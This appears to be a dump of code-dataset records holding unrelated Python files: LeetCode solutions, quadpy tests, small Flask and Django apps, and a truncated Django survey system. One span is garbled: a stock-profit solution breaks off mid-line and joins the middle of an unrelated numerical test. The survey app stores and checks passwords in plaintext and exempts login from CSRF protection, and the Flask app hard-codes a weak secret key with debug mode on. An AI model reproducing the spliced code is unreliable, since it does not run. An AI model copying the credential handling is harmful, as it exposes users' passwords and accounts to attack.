AppArgs(source=component_path(f'{rrpyinstaller.__name__}.ini'),\n doc=__doc__,\n version=rrpyinstaller.__version__)\n\n # 业务逻辑\n print(f'Application directory path: {application_directory_path()}.')\n print(f'Data directory path: {data_directory_path()}.')\n\n\nif __name__ == '__main__':\n try:\n main()\n except Exception: # noqa\n exit(1) # 使用 sys.exit(...) 而非裸 exit(...),后者是为交互环境设计的。\n","sub_path":"rrpyinstaller/rrpyinstaller/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"144773022","text":"import boto3\nimport requests\n\nr=requests.get(\"\")\n\nclient=boto3.client('rekognition',region_name='',aws_access_key_id = \"\",aws_secret_access_key = \"\")\n\nresp=client.detect_faces(Image={'Bytes':r.content},Attributes=['ALL'])\n#print(resp)\n\nfor i in resp[\"FaceDetails\"]:\n print(\"The person is a \"+str(i[\"Gender\"][\"Value\"]+\" with a confidence of \"+str(i[\"Gender\"][\"Confidence\"])))\n print(\"The person's age is approximately \"+str(i[\"AgeRange\"]))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"563605794","text":"class Solution(object):\n\n def wallsAndGates(self, rooms):\n \"\"\"\n :type rooms: List[List[int]]\n :rtype: void Do not return anything, modify rooms in-place instead.\n \"\"\"\n directions = [(1, 0), (-1, 0), (0, 1), (0, -1)]\n if not rooms or not rooms[0]:\n return\n m, n = len(rooms), len(rooms[0])\n queue = [(i, j) for i, row in enumerate(rooms)\n for j, r in enumerate(row) if not r]\n for r, c in queue:\n for d in directions:\n n_r, n_c = r + d[0], c + d[1]\n if -1 < n_r < m and -1 < n_c < n and rooms[n_r][n_c] > rooms[r][c] + 1:\n rooms[n_r][n_c] = rooms[r][c] + 1\n queue += (n_r, n_c),\n return\n\ns = Solution()\ns.wallsAndGates([[2147483647, -1, 0, 2147483647], [2147483647, 2147483647, 2147483647, -1],\n [2147483647, -1, 2147483647, -1], [0, -1, 2147483647, 2147483647]])\n","sub_path":"leetcode_python/286_Walls_and_Gates.py","file_name":"286_Walls_and_Gates.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"206088930","text":"import sys\nclass Solution:\n def maxProfit(self, prices: List[int]) -> int:\n \n minPrice = sys.maxsize\n maxProfit = 0\n \n for i in range(len(prices)):\n if (prices[i] maxProfit):\n maxProfit = prices[i] - minPrice\n return maxProfit\n \n def maxProfit_alternate(self, prices: List[int]) -> int:\n maxProfit = 0 \n for i in range(len(prices)-1):\n if (prices[i].\n \"\"\"\n points = numpy.array(\n [\n 1.457697817613696e-02,\n 8.102669876765460e-02,\n 2.081434595902250e-01,\n 3.944841255669402e-01,\n 6.315647839882239e-01,\n 9.076033998613676e-01,\n 1.210676808760832,\n 1.530983977242980,\n 1.861844587312434,\n 2.199712165681546,\n 2.543839804028289,\n 2.896173043105410,\n 3.262066731177372,\n 3.653371887506584,\n 4.102376773975577,\n ]\n )\n weights = numpy.array(\n [\n 3.805398607861561e-2,\n 9.622028412880550e-2,\n 1.572176160500219e-1,\n 2.091895332583340e-1,\n 2.377990401332924e-1,\n 2.271382574940649e-1,\n 1.732845807252921e-1,\n 9.869554247686019e-2,\n 3.893631493517167e-2,\n 9.812496327697071e-3,\n 1.439191418328875e-3,\n 1.088910025516801e-4,\n 3.546866719463253e-6,\n 3.590718819809800e-8,\n 5.112611678291437e-11,\n ]\n )\n\n # weight function exp(-t**3/3)\n n = len(points)\n moments = numpy.array(\n [3.0 ** ((k - 2) / 3.0) * math.gamma((k + 1) / 3.0) for k in range(2 * n)]\n )\n\n alpha, beta = quadpy.tools.coefficients_from_gauss(points, weights)\n # alpha, beta = quadpy.tools.chebyshev(moments)\n\n errors_alpha, errors_beta = quadpy.tools.check_coefficients(moments, alpha, beta)\n\n assert numpy.max(errors_alpha) > 1.0e-2\n assert numpy.max(errors_beta) > 1.0e-2\n return\n\n\ndef test_integrate():\n moments = quadpy.tools.integrate(lambda x: [x ** k for k in range(5)], -1, +1)\n assert (moments == [2, 0, sympy.S(2) / 3, 0, sympy.S(2) / 5]).all()\n\n moments = quadpy.tools.integrate(\n lambda x: orthopy.line_segment.tree_legendre(x, 4, \"monic\", symbolic=True),\n -1,\n +1,\n )\n assert (moments == [2, 0, 0, 0, 0]).all()\n\n # Example from Gautschi's \"How to and how not to\" article\n moments = quadpy.tools.integrate(\n lambda x: [x ** k * sympy.exp(-x ** 3 / 3) for k in range(5)], 0, sympy.oo\n )\n S = numpy.vectorize(sympy.S)\n gamma = numpy.vectorize(sympy.gamma)\n n = numpy.arange(5)\n reference = 3 ** (S(n - 2) / 3) * gamma(S(n + 1) / 3)\n assert numpy.all([sympy.simplify(m - r) == 0 for m, r in zip(moments, reference)])\n\n return\n\n\ndef test_stieltjes():\n alpha0, beta0 = quadpy.tools.stieltjes(lambda t: 1, -1, +1, 5)\n _, _, alpha1, beta1 = orthopy.line_segment.recurrence_coefficients.legendre(\n 5, \"monic\"\n )\n assert (alpha0 == alpha1).all()\n assert (beta0 == beta1).all()\n return\n\n\n# def test_expt3():\n# '''Full example from Gautschi's \"How to and how not to\" article.\n# '''\n# # moments = quadpy.tools.integrate(\n# # lambda x: sympy.exp(-x**3/3),\n# # 0, sympy.oo,\n# # 31\n# # )\n# # print(moments)\n# # alpha, beta = quadpy.tools.chebyshev(moments)\n#\n# alpha, beta = quadpy.tools.stieltjes(\n# lambda x: sympy.exp(-x**3/3),\n# 0, sympy.oo,\n# 5\n# )\n# print(alpha)\n# print(beta)\n# return\n\n\n@pytest.mark.parametrize(\"k\", [0, 2, 4])\ndef test_xk(k):\n n = 10\n\n moments = quadpy.tools.integrate(\n lambda x: [x ** (i + k) for i in range(2 * n)], -1, +1\n )\n\n alpha, beta = quadpy.tools.chebyshev(moments)\n\n assert (alpha == 0).all()\n assert beta[0] == moments[0]\n assert beta[1] == sympy.S(k + 1) / (k + 3)\n assert beta[2] == sympy.S(4) / ((k + 5) * (k + 3))\n quadpy.tools.scheme_from_rc(\n numpy.array([sympy.N(a) for a in alpha], dtype=float),\n numpy.array([sympy.N(b) for b in beta], dtype=float),\n mode=\"numpy\",\n )\n\n def leg_polys(x):\n return orthopy.line_segment.tree_legendre(x, 19, \"monic\", symbolic=True)\n\n moments = quadpy.tools.integrate(\n lambda x: [x ** k * leg_poly for leg_poly in leg_polys(x)], -1, +1\n )\n\n _, _, a, b = orthopy.line_segment.recurrence_coefficients.legendre(\n 2 * n, \"monic\", symbolic=True\n )\n\n alpha, beta = quadpy.tools.chebyshev_modified(moments, a, b)\n\n assert (alpha == 0).all()\n assert beta[0] == moments[0]\n assert beta[1] == sympy.S(k + 1) / (k + 3)\n assert beta[2] == sympy.S(4) / ((k + 5) * (k + 3))\n points, weights = quadpy.tools.scheme_from_rc(\n numpy.array([sympy.N(a) for a in alpha], dtype=float),\n numpy.array([sympy.N(b) for b in beta], dtype=float),\n mode=\"numpy\",\n )\n return\n\n\nif __name__ == \"__main__\":\n # test_gauss('mpmath')\n # test_logo()\n test_xk(2)\n","sub_path":"test/test_tools.py","file_name":"test_tools.py","file_ext":"py","file_size_in_byte":10838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"127294316","text":"\"\"\"\nExercise: gcd iter\n\nThe greatest common divisor of two positive integers is the largest integer \nthat divides each of them without remainder. For example,\n\ngcd(2, 12) = 2\n\ngcd(6, 12) = 6\n\ngcd(9, 12) = 3\n\ngcd(17, 12) = 1\n\nWrite an iterative function, gcdIter(a, b), that implements this idea. \nOne easy way to do this is to begin with a test value equal to the smaller of \nthe two input arguments, and iteratively reduce this test value by 1 until you \neither reach a case where the test divides both a and b without remainder, or \nyou reach 1.\n\"\"\"\n\n\ndef gcd(a, b):\n for i in range(min(a, b), 0, -1):\n if a % i == 0 and b % i == 0:\n return i\n elif i == 1:\n return 1","sub_path":"MITx-6.00.1x/Week2_Simple_Programs/gcdIter.py","file_name":"gcdIter.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"575323633","text":"from django.shortcuts import render, redirect\nfrom .models import Places\nfrom .forms import PlacesForm\nfrom django.contrib.auth import logout as auth_logout\nfrom geopy.geocoders import Nominatim\nimport folium\n\n\ndef places_home(request):\n places = Places.objects.order_by('title')\n return render(request, 'places/places_home.html', {'places': places})\n\n\ndef create(request):\n error = ''\n geolocator = Nominatim(user_agent=\"places\")\n m = folium.Map(width=400, height=250)\n\n if request.method == \"POST\":\n form = PlacesForm(request.POST)\n if form.is_valid():\n instance = form.save(commit=False)\n title_ = form.cleaned_data.get('title')\n title = geolocator.geocode(title_)\n instance.t_lat = title.latitude\n instance.t_lon = title.longitude\n instance.username = request.user.username\n instance.save()\n return redirect('/places')\n else:\n error = 'Форма заполнена неверно'\n\n\n form = PlacesForm()\n\n data = {\n 'form': form,\n 'error': error,\n 'map': m,\n }\n\n return render(request, 'places/places_create.html', data)\n\n\ndef logout(request):\n auth_logout(request)\n return redirect('/')\n\n","sub_path":"task/places/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"193432858","text":"# Create API of ML model using flask\n\n# Import libraries\nimport numpy as np\nfrom flask import Flask, render_template,request\nfrom wtforms import Form, validators, IntegerField\nimport pickle\n\napp = Flask(__name__)\n\nclass ReusableForm(Form):\n\tyears = IntegerField('Number of years:', validators=[validators.required()])\n\n# Load the model\nmodel = pickle.load(open('model.pkl','rb'))\n\n@app.route('/',methods=['GET','POST'])\ndef pred():\n\tform = ReusableForm(request.form)\n\t\n\tif request.method == 'POST' and form.validate():\n\t\t\n\t\n\t\tnbr_years = int(request.form['years'])\n\n\t \t# Make prediction using model loaded from disk as per the data.\n\t\n\t\tprediction = model.predict([[np.array(nbr_years)]])\n\n\t\t\t # Take the first value of prediction\n\t\toutput = prediction[0]\n\t\tsalary = round(output[0],0)\n\t\t\n\t\treturn render_template('pred.html', salary=salary)\n\telse:\n\t\treturn render_template('home.html', form=form)\n\nif __name__ == '__main__':\n\tapp.secret_key='secret123'\n\tapp.run(debug=True)\n ","sub_path":"flask_salary_predictor/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"182205217","text":"from celery import shared_task, task\n\nfrom django.utils import timezone\n\nfrom sNeeds.utils import sendemail\n\nfrom .models import TimeSlotSale\n\n\n@task()\ndef delete_time_slots():\n \"\"\"\n Deletes time slots with less than 24 hours to start.\n \"\"\"\n qs = TimeSlotSale.objects.filter(start_time__lte=timezone.now() + timezone.timedelta(days=1))\n qs.delete()\n\n\n@shared_task\ndef send_notify_sold_time_slot_mail(send_to, name, sold_time_slot_id):\n sendemail.notify_sold_time_slot(\n send_to,\n name,\n sold_time_slot_id\n )\n","sub_path":"code/sNeeds/apps/store/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"124371651","text":"# Given an array nums and a target value k, find the maximum length of a\n# subarray that sums to k. If there isn't one, return 0 instead.\n\n# Example 1:\n# Given nums = [1, -1, 5, -2, 3], k = 3,\n# return 4. (because the subarray [1, -1, 5, -2] sums to 3 and is the longest)\n\n# Example 2:\n# Given nums = [-2, -1, 2, 1], k = 1,\n# return 2. (because the subarray [-1, 2] sums to 1 and is the longest)\n\n# Follow Up:\n# Can you do it in O(n) time?\nfrom collections import defaultdict\n\nclass Solution(object):\n def maxSubArrayLen(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n n = len(nums)\n if n < 1:\n return 0\n # sums[i] = sum(nums[0..i])\n sums = [nums[0]] * n\n for i in xrange(1, n):\n sums[i] = sums[i - 1] + nums[i]\n # Dump sums into hashmap\n index = defaultdict(list)\n for i in xrange(n):\n index[sums[i]].append(i)\n maxlen = 0\n for i in xrange(n - 1, -1, -1):\n delta = sums[i] - k\n if delta == 0:\n maxlen = max(maxlen, i + 1)\n elif delta in index:\n maxlen = max(maxlen, i - index[delta][0])\n return maxlen\n\ntcs = [\n ([1, -1, 5, -2, 3], 3),\n ([-2, -1, 2, 1], 1),\n ([1, 1, 0], 1),\n ([], 10),\n]\ns = Solution()\nfor args in tcs:\n print(s.maxSubArrayLen(*args))\n","sub_path":"maximum-size-subarray-sum-k.py","file_name":"maximum-size-subarray-sum-k.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"504276467","text":"\"\"\"\r\nviews for surveyadvance\r\n\"\"\"\r\nimport json\r\nimport logging\r\nimport datetime\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.shortcuts import render, redirect\r\nfrom django.http import HttpResponse, HttpResponseRedirect\r\nfrom django.contrib.auth.models import User\r\nfrom django.core.paginator import (Paginator, EmptyPage, PageNotAnInteger)\r\nfrom django.contrib import auth\r\nfrom django.contrib import messages\r\nfrom django.views.decorators.csrf import csrf_exempt\r\nfrom django.urls import reverse\r\nfrom .forms import (LoginForm, AdminForm, EventsForm)\r\nfrom .models import (Organization, org_Admin, Employee, Survey,\r\n SurveyEmployee, SurveyQuestion, SurveyResponse, Question)\r\nfrom .custom_login_decorator import employee_login_required\r\n\r\nsurveys_completion_count = dict()\r\n\r\n# Create your views here.\r\n\r\n\r\n@login_required(login_url='/login/')\r\ndef index(request):\r\n return render(request, 'newsurvey/index.html')\r\n\r\n\r\n@csrf_exempt\r\ndef login(request):\r\n form = LoginForm()\r\n context = {'form': form}\r\n\r\n if request.method == \"POST\":\r\n username = request.POST.get(\"username\")\r\n password = request.POST.get(\"password\")\r\n\r\n try:\r\n if(User.objects.filter(username=username).\r\n exists()):\r\n user = auth.authenticate(username=username, password=password)\r\n auth.login(request, user)\r\n return redirect('index')\r\n try:\r\n org_admin_obj = org_Admin.objects.get(admin_username=username,\r\n password=password)\r\n request.session['username'] = org_admin_obj.admin_username\r\n request.session['org_name'] = org_admin_obj.company.company_name\r\n return redirect('index')\r\n except Exception as e:\r\n print(\"Org admin with this username and password not available.\")\r\n print(e)\r\n try:\r\n Employee.objects.get(emp_username=username,\r\n emp_password=password)\r\n request.session['username'] = username\r\n return redirect('emp_survey_assign')\r\n except Exception as e:\r\n print(\"No Emp available\")\r\n\r\n except Exception as e:\r\n print('Exception ', e)\r\n data = {'success': 'false', 'message': 'Invalid Username or Password'}\r\n return render(request, \"newsurvey/login.html\", context)\r\n\r\n return render(request, \"newsurvey/login.html\", context)\r\n\r\n\r\n@login_required(login_url='/login/')\r\ndef admin_register(request):\r\n \"\"\"\r\n Admin register\r\n \"\"\"\r\n form = AdminForm()\r\n context = {'form': form}\r\n org_list = Organization.objects.all()\r\n if request.method == \"POST\":\r\n # ad_username = request.POST.get(\"adminname\")\r\n # ad_password = request.POST.get(\"ad_password\")\r\n m = request.POST.get('OrgnisationName')\r\n Org_names = Organization.objects.get(company_name=m)\r\n if request.POST.get('adminname') and request.POST.get('username')\\\r\n and request.POST.get(\r\n 'email') and request.POST.get('OrgnisationName') \\\r\n and request.POST.get('password'):\r\n registerObject = org_Admin()\r\n registerObject.admin_name = request.POST.get('adminname')\r\n registerObject.admin_username = request.POST.get('username')\r\n registerObject.admin_email = request.POST.get('email')\r\n registerObject.company = Org_names\r\n registerObject.password = request.POST.get('password')\r\n registerObject.save()\r\n\r\n else:\r\n return redirect('admin_register')\r\n\r\n return render(request, \"newsurvey/Org_adminlogin.html\", {\r\n 'org_total': org_list})\r\n\r\n\r\ndef logout(request):\r\n \"\"\"\r\n Session logout\r\n \"\"\"\r\n try:\r\n if request.user.is_superuser:\r\n auth.logout(request)\r\n del request.session['username']\r\n except KeyError:\r\n pass\r\n return redirect('login')\r\n\r\n\r\n@login_required(login_url='/login/')\r\ndef add_org(request):\r\n \"\"\"\r\n add organization admin\r\n \"\"\"\r\n if request.method == \"POST\":\r\n if request.POST.get('org_name') and request.POST.get('org_loc') \\\r\n and request.POST.get('org_desc'):\r\n organization_object = Organization()\r\n organization_object.company_name = request.POST.get('org_name')\r\n organization_object.location = request.POST.get('org_loc')\r\n organization_object.description = request.POST.get('org_desc')\r\n\r\n organization_object.save()\r\n return redirect(\"add_org\")\r\n else:\r\n return redirect('index')\r\n\r\n return render(request, \"newsurvey/org.html\")\r\n\r\n\r\n@login_required(login_url='/login/')\r\ndef getorgdata(request):\r\n \"\"\"\r\n get organisation list\r\n \"\"\"\r\n org = list()\r\n org_details1 = Organization.objects.all()\r\n org.append(org_details1)\r\n i = 0\r\n temp_list = dict()\r\n # data = {}\r\n for org1 in org_details1:\r\n i = i + 1\r\n temp_list[i] = [i, str(org1.company_name), str(org1.location),\r\n str(org1.description)]\r\n print(\"temp_list\", temp_list)\r\n data = temp_list\r\n\r\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\r\n\r\n\r\n@login_required(login_url='/login/')\r\ndef delete_org(request):\r\n \"\"\"\r\n Delete particular org with org name.\r\n :param request:\r\n :return:\r\n \"\"\"\r\n org_name = request.GET.get('company_name')\r\n org_record = Organization.objects.get(company_name=org_name)\r\n org_record.delete()\r\n return HttpResponse({'result': 'success'})\r\n\r\n@employee_login_required\r\ndef upload_csv(request):\r\n \"\"\"\r\n csv extract\r\n \"\"\"\r\n data = {}\r\n if request.method == 'GET':\r\n return render(request, \"newsurvey/emp_csv.html\", data)\r\n # if not GET, then proceed\r\n try:\r\n csv_file = request.FILES[\"csv_file\"]\r\n if not csv_file.name.endswith('.csv'):\r\n messages.error(request, 'File is not CSV type')\r\n return HttpResponseRedirect(reverse(\"emp_upload_csv\"))\r\n\r\n # if file is too large, return\r\n if csv_file.multiple_chunks():\r\n messages.error(request, \"Uploaded file is too big (%.2f MB).\" % (\r\n csv_file.size / (1000 * 1000),))\r\n return HttpResponseRedirect(reverse(\"emp_upload_csv\"))\r\n\r\n file_data = csv_file.read().decode(\"utf-8\")\r\n\r\n lines = file_data.split(\"\\n\")\r\n\r\n # loop over the lines and save them in db. If error ,\r\n # store as string and then display\r\n for line in lines:\r\n if line != \"\":\r\n fields = line.split(\",\")\r\n\r\n data_dict = dict()\r\n data_dict[\"emp_name\"] = fields[0]\r\n data_dict[\"emp_username\"] = fields[1]\r\n data_dict[\"emp_password\"] = fields[2]\r\n data_dict[\"emp_designation\"] = fields[3]\r\n data_dict[\"emp_address\"] = fields[4]\r\n data_dict[\"company\"] = fields[5]\r\n m = (data_dict[\"company\"]).strip()\r\n\r\n try:\r\n form = EventsForm(data_dict)\r\n if data_dict.get('company') == request.session.get(\r\n 'org_name'):\r\n org_names = Organization.objects.get(\r\n company_name=request.session.get('org_name'))\r\n\r\n org_employee_obj = Employee()\r\n org_employee_obj.emp_name = data_dict[\"emp_name\"]\r\n org_employee_obj.emp_username = data_dict[\r\n \"emp_username\"]\r\n org_employee_obj.emp_password = data_dict[\r\n \"emp_password\"]\r\n org_employee_obj.emp_designation = data_dict[\r\n \"emp_designation\"]\r\n org_employee_obj.emp_address = data_dict[\"emp_address\"]\r\n org_employee_obj.company = org_names\r\n\r\n org_employee_obj.save()\r\n except Exception as e:\r\n logging.getLogger(\"error_logger\").error(repr(e))\r\n pass\r\n\r\n except Exception as e:\r\n logging.getLogger(\"error_logger\").error(\r\n \"Unable to upload file. \" + repr(e))\r\n\r\n messages.error(request, \"Unable to upload file. \" + repr(e))\r\n\r\n return HttpResponseRedirect(reverse(\"emp_upload_csv\"))\r\n # else:\r\n # return redirect('login')\r\n\r\n\r\n@employee_login_required\r\ndef add_survey(request):\r\n \"\"\"\r\n adding multiple surveys\r\n \"\"\"\r\n if request.method == \"POST\":\r\n if request.POST.get('sur_name') \\\r\n and request.POST.get('sur_desc'):\r\n\r\n org_name = request.session.get('org_name')\r\n survey_obj1 = Survey()\r\n survey_obj1.survey_name = request.POST.get('sur_name')\r\n survey_obj1.description = request.POST.get('sur_desc')\r\n survey_obj1.company = Organization.objects.get(\r\n company_name=org_name)\r\n survey_obj1.date = datetime.datetime.now()\r\n survey_obj1.save()\r\n return redirect(\"add_survey\")\r\n else:\r\n return redirect('index')\r\n return render(request, 'newsurvey/addsurveypage.html')\r\n\r\n\r\n@employee_login_required\r\ndef getSuvey_list(request):\r\n \"\"\"\r\n getting survey list\r\n \"\"\"\r\n total_survey = Survey.objects.all()\r\n context = {'total_survey': total_survey}\r\n return HttpResponse(json.dumps(list(context)),\r\n content_type=\"application/json\")\r\n\r\n\r\n@employee_login_required\r\ndef assign_survey(request):\r\n \"\"\"\r\n assigning_survey\r\n :param request:\r\n :return:\r\n \"\"\"\r\n survey_count = list()\r\n total_emplist = list()\r\n org_name = request.session.get('org_name')\r\n # org_obj = Organization.objects.get(company_name=org_name)\r\n total_survey = Survey.objects.filter(company__company_name=org_name)\r\n survey_count.append(total_survey)\r\n emp_list = Employee.objects.filter(company__company_name=org_name)\r\n\r\n return render(request, 'newsurvey/assign_survey.html',\r\n {'total_surveylist': total_survey,\r\n 'emplist': emp_list})\r\n\r\n\r\n@employee_login_required\r\ndef store_assigned_surveys(request):\r\n \"\"\"\r\n Store the multiple surveys assigned to employees in database.\r\n \"\"\"\r\n surveys_list = list()\r\n emp_list = list()\r\n if request.method == 'POST':\r\n surveys_list = request.POST.getlist('surveys')\r\n emp_list = request.POST.getlist('employees')\r\n start_date_str = request.POST.get('startdatepicker')\r\n end_date_str = request.POST.get('enddatepicker')\r\n\r\n start_date = datetime.datetime.strptime(start_date_str, '%m/%d/%Y')\r\n end_date = datetime.datetime.strptime(end_date_str, '%m/%d/%Y')\r\n\r\n emp_objs = list()\r\n for emp in emp_list:\r\n emp_objs.append(Employee.objects.get(emp_username=emp))\r\n\r\n survey_objs = list()\r\n for survey in surveys_list:\r\n survey_objs.append(Survey.objects.get(survey_name=survey))\r\n\r\n print(\"suvryes\", surveys_list)\r\n print(\"emp\", emp_list)\r\n\r\n for survey in survey_objs:\r\n for emp in emp_objs:\r\n survey_emp_map = SurveyEmployee(survey=survey,\r\n employee=emp,\r\n start_date=start_date,\r\n end_date=end_date)\r\n survey_emp_map.save()\r\n\r\n elif request.method == 'GET':\r\n print(request.POST.getlist('surveys'))\r\n print(request.POST.getlist('employees'))\r\n return redirect('index')\r\n\r\n\r\n@employee_login_required\r\ndef add_questions(request):\r\n total_survey = Survey.objects.all()\r\n \"\"\"\r\n csv extract\r\n \"\"\"\r\n data = {}\r\n\r\n if \"GET\" == request.method:\r\n return render(request, 'newsurvey/addquestions.html', {\r\n 'total_surveylist': total_survey}, data)\r\n # if not GET, then proceed\r\n try:\r\n print(\"enter try\")\r\n\r\n csv_file = request.FILES[\"questionsv_file\"]\r\n print(\"csv_key\", csv_file)\r\n if not csv_file.name.endswith('.csv'):\r\n messages.error(request, 'File is not CSV type')\r\n return HttpResponseRedirect(reverse(\"add_questions\"))\r\n # if file is too large, return\r\n if csv_file.multiple_chunks():\r\n messages.error(request, \"Uploaded file is too big (%.2f MB).\" % (\r\n csv_file.size / (1000 * 1000),))\r\n return HttpResponseRedirect(reverse(\"add_questions\"))\r\n\r\n file_data = csv_file.read().decode(\"utf-8\")\r\n print(\"file data\", file_data)\r\n\r\n lines = file_data.split(\"\\n\")\r\n\r\n # loop over the lines and save them in db. If error ,\r\n # store as string and then display\r\n # qn_list = list()\r\n\r\n qn_survey = SurveyQuestion()\r\n try:\r\n survey_name = request.POST.get('dropdownid')\r\n print(survey_name)\r\n qn_survey.survey = Survey.objects.filter(\r\n survey_name=survey_name)[0]\r\n\r\n except Exception as e:\r\n print(\"No such Survey available.\")\r\n for line in lines:\r\n if line != \"\":\r\n fields = line.split(\":\") # separate fields on ':'\r\n print(\"fields\", fields)\r\n print(\"filedsss\", len(fields))\r\n\r\n data_dict = dict()\r\n data_dict[\"question_type\"] = fields[0].split('\"')[\r\n 1] if '\"' in fields[0] else fields[0]\r\n data_dict[\"question\"] = fields[1]\r\n data_dict[\"is_required\"] = True if 'True' in fields[\r\n 2] else False\r\n if len(fields) == 4:\r\n data_dict[\"choices\"] = fields[3].split(\r\n '\"')[0] if '\"' in fields[3] else fields[3]\r\n else:\r\n data_dict[\"choices\"] = None\r\n\r\n try:\r\n org_question_obj = Question()\r\n org_question_obj.Question_types.set(\r\n data_dict.get(\"question_type\"))\r\n org_question_obj.question = data_dict[\"question\"]\r\n org_question_obj.is_required = data_dict[\"is_required\"]\r\n org_question_obj.choices.set = data_dict[\"choices\"]\r\n\r\n org_question_obj.save()\r\n qn_survey.question.add(org_question_obj)\r\n\r\n except Exception as e:\r\n logging.getLogger(\"error_logger\").error(repr(e))\r\n pass\r\n\r\n qn_survey.save()\r\n\r\n except Exception as e:\r\n logging.getLogger(\"error_logger\").error(\r\n \"Unable to upload file. \" + repr(e))\r\n messages.error(request, \"Unable to upload file. \" + repr(e))\r\n\r\n return HttpResponseRedirect(reverse(\"add_questions\"))\r\n\r\n\r\n@employee_login_required\r\ndef emp_survey_assign(request):\r\n \"\"\"\r\n View to render dashboard page for employee when employee logs in.\r\n \"\"\"\r\n m = request.session.get('username')\r\n emp = Employee.objects.get(emp_username=m)\r\n emp_record = SurveyEmployee.objects.filter(employee=emp.id)\r\n Completed_survey = list()\r\n incomplete_survey = list()\r\n assign_survey = list()\r\n total_survey = list()\r\n status_check = False\r\n assign_surveycount1 = 0\r\n completed_surveylen = 0\r\n incomplete_surveylen = 0\r\n\r\n for survey in emp_record:\r\n # import pdb;\r\n # pdb.set_trace()\r\n survey_count = SurveyResponse.objects.filter(employee_id=emp.id,\r\n survey_id=survey.survey_id\r\n ).count()\r\n survey_submitted_count = SurveyEmployee.objects.filter(\r\n employee_id=emp.id,\r\n survey_id=survey.survey_id,\r\n submited_survey=True\r\n ).count()\r\n\r\n if survey_count:\r\n if survey_submitted_count:\r\n Completed_survey.append(survey)\r\n else:\r\n incomplete_survey.append(survey)\r\n else:\r\n assign_survey.append(survey)\r\n\r\n incomplete_surveylen = len(incomplete_survey)\r\n completed_surveylen = len(Completed_survey)\r\n print(\"completed survey\", completed_surveylen)\r\n print(\"incomplete survey\", incomplete_surveylen)\r\n assign_surveycount1 = len(assign_survey)\r\n\r\n status_check = SurveyResponse.objects.filter(\r\n survey_id=survey.survey_id, employee_id=emp.id)\r\n\r\n context = {\r\n 'session': m,\r\n 'total_survey': total_survey,\r\n 'StatusCheck': status_check,\r\n 'survey_list': emp_record,\r\n 'completed_survey': Completed_survey,\r\n 'incomplete_survey': incomplete_survey,\r\n 'assign_survey': assign_surveycount1,\r\n 'complete_count': completed_surveylen,\r\n 'incomplete_count': incomplete_surveylen}\r\n\r\n return render(request, 'newsurvey/empdashboard.html', context)\r\n # else:\r\n # return redirect('login')\r\n\r\n\r\n@employee_login_required\r\ndef question_list(request, survey_id):\r\n \"\"\"\r\n View to render the list of questions in a survey assigned to an employee.\r\n \"\"\"\r\n m = request.session['username']\r\n\r\n unresponded_qns = SurveyResponse.objects.filter(survey__id=survey_id,\r\n SaveStatus=False)\r\n\r\n if unresponded_qns:\r\n emp_record = SurveyResponse.objects.filter(\r\n survey__id=survey_id, SaveStatus=False).values(\r\n 'question__id', 'question__question_type',\r\n 'question__question', 'question__choices')\r\n else:\r\n emp_record = SurveyQuestion.objects.filter(\r\n survey__id=survey_id).values(\r\n 'question__id', 'question__question_type',\r\n 'question__question', 'question__choices')\r\n\r\n page = request.GET.get('page')\r\n paginator = Paginator(emp_record, 5)\r\n\r\n try:\r\n emp_record = paginator.page(page)\r\n except PageNotAnInteger:\r\n emp_record = paginator.page(1)\r\n except EmptyPage:\r\n emp_record = paginator.page(paginator.num_pages)\r\n\r\n for qn in emp_record:\r\n qn['question__choices'] = qn.get('question__choices').split(\r\n \",\") if qn.get('question__choices') else None\r\n\r\n context = {'session': m,\r\n 'survey_id': survey_id,\r\n 'question_list': emp_record}\r\n\r\n return render(request, 'newsurvey/question_list.html', context)\r\n\r\n\r\n@employee_login_required\r\ndef save(request, survey_id):\r\n \"\"\"\r\n View to handle saving the survey in between. (without submitting)\r\n \"\"\"\r\n m = request.session['username']\r\n emp = Employee.objects.get(emp_username=m)\r\n\r\n for name in request.POST:\r\n if name != \"csrfmiddlewaretoken\" and name != \"submitform\":\r\n\r\n if request.POST['submitform'] == \"Submit\":\r\n print(\"aaaa\")\r\n emp = SurveyEmployee.objects.get(\r\n employee_id=emp.id,\r\n survey_id=Survey.objects.get(id=survey_id).id)\r\n emp.submited_survey = True\r\n emp.save()\r\n\r\n is_record = SurveyResponse.objects.filter(\r\n survey=Survey.objects.get(id=survey_id),\r\n employee=Employee.objects.get(id=emp.id),\r\n question=Question.objects.get(id=name))\r\n\r\n if not is_record:\r\n if request.POST[name]:\r\n save_object = False\r\n # survey_response_obj = SurveyResponse()\r\n # survey_response_obj.survey = Survey.objects.get(\r\n # id=survey_id)\r\n # survey_response_obj.employee = Employee.objects.get(\r\n # id=emp.id)\r\n # survey_response_obj.question = Question.objects.get(\r\n # id=name)\r\n # survey_response_obj.response = request.POST[name]\r\n if request.POST['submitform'] == \"Save\" and \\\r\n request.POST[name] != '':\r\n save_object = True\r\n else:\r\n save_object = False\r\n\r\n survey_obj, created = SurveyResponse.objects.get_or_create(\r\n survey=Survey.objects.get(id=survey_id),\r\n 